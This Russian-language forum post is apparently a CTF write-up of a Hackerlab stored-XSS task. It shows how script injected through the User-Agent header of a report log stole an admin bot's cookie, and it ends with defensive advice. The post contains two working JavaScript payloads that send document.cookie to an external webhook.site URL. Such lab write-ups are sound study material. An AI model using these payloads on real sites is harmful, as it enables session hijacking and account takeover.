Amarant
Green Team
- 29.01.2025
- 38
- 23

Введение
Всем привет, господа форумчане, сегодня хочу поделиться с вами write-up'ом на таск нулевая публикация на Hackerlab
Приятного чтения!
Первичная разведка
Для начала как всегда проверил что есть на сайте, какой доступен функционал, чтобы приметить потенциальные векторы атаки. На сайте представлен каталог со статьями, раздел поиска, а так же кнопка репорта и кнопка перехода на лог репорта после его отправки. Репорт тут есть внутри каждой статьи, так как статью нельзя прочитать без подписки, о чём она нам бездушно заявляет при попытке зайти на неё



Поиск вектора атаки
Payload в поиск не дал никаких результатов, после многих попыток. После него я переключился на лог репорта, перехватил запрос и начал пробовать подменить user agent для проведения потенциальной атаки, там и был найден XSS


Вектор атаки найден, начинаем пробовать добыть флаг
Посыпаем голову пеплом...
Первоначально я пытался сделать так, чтобы на мой webhook пришёл HTML код страницы со статьёй, на которую должно перекинуть админа, когда он прочитает мой лог, но это не дало никакого результатов, поэтому этот момент я пропущу
Следующим вариантом стало получить кук админа, начал я с вот такого payload
JavaScript:
<script>fetch('https://webhook.site/9ef4ee7d-f7ff-460a-8e57-89bb2bdc95b9?c='+encodeURIComponent(document.cookie))</script>
Пришёл к тому, что когда я захожу на сгенерированный лог, мне приходил мой кук, но админ всё не читал его, будь он неладен. Получив подсказку от другого пользователя в чате хакералаба я пришёл к выводу, что мне нужно заставить админа перейти на этот лог и тогда я смогу получить его кук. Тогда я заменил в запросе адрес "нерабочей" статьи на адрес вредоносного лога

Но куки всё так же мне не пришёл. После этого я решил попробовать изменить свой скрипт, чтобы попробовать другим подходом выполнить эти же действия и получилось у меня вот с таким вариантом
JavaScript:
<script>document.location='https://webhook.site/9ef4ee7d-f7ff-460a-8e57-89bb2bdc95b9?c='+encodeURIComponent(document.cookie)</script>
Внедряем скрипт в поле user agent

Затем делаем новый запрос, в котором адрес статьи меняем на сгенерированный прошлом запросе адрес лога репорта

Проверяем webhook и вуаля! Вот и наш флаг

Итоги
В чём была уязвимость?
Уязвимость классическая - межсайтовый скриптнг (XSS) типа Stored (хранимый). Возникала она из-за того, что сервер без какой-либо проверки или экранирования сохранял пользовательские данные (заголовок User-Agent) в файл лога, а затем отображал его как есть. Это позволило внедрить JavaScript-код, который выполнялся в браузере бота-администратора.
Как защититься?
Конечно же не доверять данным, которые отправляются пользователем и экранировать их. Для защиты от такой атаки нужна правильно настроенная CSP политика, которая будет блокировать проведение подобных атак, а так же желателен установленный заголовок httponly, чтобы даже в случае успешно проведенной атаки нельзя было получить доступ к сессии админа. А так же в данном случае нужно, чтобы происходила проверка url, который есть в логе репорта, на его валидность, чтобы юзер не мог подменить его на нужный ему url
Вывод:
Таск наглядно показал, как цепочка из небольших недоработок неэкранированного ввода могла привести к полной компрометации аккаунта привилегированного пользователя
Почему админ всегда пьет кофе, когда проверяет репорты? Потому что иначе он засыпает от скуки, пока крадут его куки

Готов ответить на ваши вопросы и поучаствовать в обсуждении в комментариях, господа формучане, спасибо за прочтение!